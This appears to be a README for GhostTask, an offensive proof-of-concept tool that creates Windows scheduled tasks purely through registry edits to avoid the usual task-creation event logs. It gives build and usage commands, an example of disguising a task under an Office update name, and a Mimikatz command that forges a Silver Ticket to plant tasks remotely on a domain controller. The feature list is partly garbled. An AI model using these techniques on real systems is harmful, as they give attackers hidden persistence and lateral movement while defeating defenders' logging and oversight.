
이 도구는 일반적인 이벤트 로그를 트리거하지 않고 직접 레지스트리 조작을 통해 예약된 작업을 생성합니다.
WithSecure의 예약 작업 변조 연구에서 영감을 받아, 그들은 레지스트리 키 조작만으로 예약 작업을 생성하는 것이 가능함을 설명했습니다. 이러한 접근 방식은 4698 및 106과 같은 예약 작업 생성 이벤트 로그 생성을 우회할 수 있어, 지속성을 유지하는 더 은밀한 방법을 제공합니다. 이러한 통찰을 바탕으로, 저는 레지스트리 직접 조작을 통해 예약 작업 생성을 시연하는 이 POC를 개발했습니다.
새로운 예약 작업을 생성하려면 여러 레지스트리 키와 관련 값을 추가해야 합니다. 예약 작업과 관련된 레지스트리 값의 구조가 문서화되어 있지 않기 때문에, 이러한 구조를 구성하기 위한 방법론은 주로 합법적인 예약 작업의 레지스트리 값과의 비교를 통해 시행착오에 의존했습니다. 또한 Taskschd.h 헤더 파일의 인터페이스를 참조하고 Cyber.WTF Windows Registry Analysis – Today's Episode: Tasks에서 많은 내용을 인용했습니다. 이 연구는 기능적인 예약 작업을 구성하는 데 필수적인 Triggers, Actions, DynamicInfo와 같은 각 레지스트리 값의 구조를 공식화하는 데 매우 유용했습니다.
이 도구는 다음과 같은 기능을 제공합니다:
BruteRatel's memexec)과 함께 실행을 지원합니다.*참고:
ScheduledTaskCreated 작업 유형)가 생성되지 않습니다.Usage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: Remote computer name or "localhost".
- operation: add/delete
- add: Create or modify a scheduled task using only registry keys. Requires restarting the "Schedule" service to load the task definition.
- delete: Delete a scheduled task. Requires restarting the "Schedule" service to offload the task.
- taskname: Name of the scheduled task.
- program: Program to be executed.
- argument: Arguments for the program.
- username: User account under which the scheduled task will run.
- scheduletype: Supported triggers: second, daily, weekly, and logon.
- time/second (applicable for 'second', 'daily', and 'weekly' triggers):
- For 'second' trigger: Specify the frequency in seconds for task execution.
- For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
- day (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

WithSecure 블로그(Extra: Lateral Movement 섹션)에 설명된 대로, 이 기술은 특별히 제작된 Silver Ticket을 사용하여 원격으로 새 예약 작업을 생성하는 데 사용될 수 있습니다.
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
DC01 서버에서 매일 오후 3시 19분에 notepad.exe를 실행하는 새 예약 작업을 원격으로 생성:
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
